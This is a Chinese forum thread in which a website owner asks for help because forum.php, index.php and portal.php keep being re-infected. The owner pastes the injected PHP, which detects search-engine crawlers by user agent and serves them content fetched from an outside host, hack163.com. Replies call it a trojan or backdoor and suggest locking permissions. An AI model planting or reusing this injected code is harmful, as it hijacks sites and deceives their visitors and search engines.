網站文件被篡改

9axl

網站forum.phhp\index.php\portal.php三個文件總被篡改，刪除了很快就又被改了。在文件最開始加這樣一段內容：
<?phpheader('Content-Type:text/html;charset=gb2312');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,strtolower('HaosouSpider'))!== false||strpos($key,strtolower('baidu'))!== false||strpos($key,strtolower('Yisou'))!== false||strpos($key,strtolower('Sogou'))!== false||strpos($key,strtolower('YisouSpider'))!== false||strpos($key,strtolower('360Spider'))!== false||strpos($key,strtolower('Baiduspide'))!== false||strpos($key,strtolower('Soso'))!== false||strpos($key,strtolower('Yahoo'))!== false||strpos($key,strtolower('bingbot'))!== false )
{
date_default_timezone_set('PRC');
$TD_server = "http://www.hack163.com/shou/";
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);

echo $Content_mb;
}


?>
請問怎么處理？site域名后，出來的很多亂七八糟的內容，但點擊后跳轉的還是我的網站。外行頭疼中。

我知道答案 回答被采納將會獲得1 貢獻 已有16人回答

一定

FTP泄漏還是什么？我一般用完FTP都關閉賬號。

9axl

刪除了過一會就又被篡改了。

ditd2

刪除后，關閉文件夾權限。

9axl

ditd2 發表于 2020-9-25 13:08
刪除后，關閉文件夾權限。

謝謝指點。

好佳芯科技

9axl 發表于 2020-9-25 13:16
謝謝指點。

可以協助清楚木馬276440802

crx349

9axl 發表于 2020-9-25 13:06
刪除了過一會就又被篡改了。

一般是 被掛馬了 盡快清理木馬

Failure

后門都沒去掉， 刪掉相關代碼是沒用的

470342341

我的前幾天也是種了 類似 木馬  惡心死我了

9axl

470342341 發表于 2020-9-29 13:33
我的前幾天也是種了 類似 木馬  惡心死我了

請教現在怎么處理的？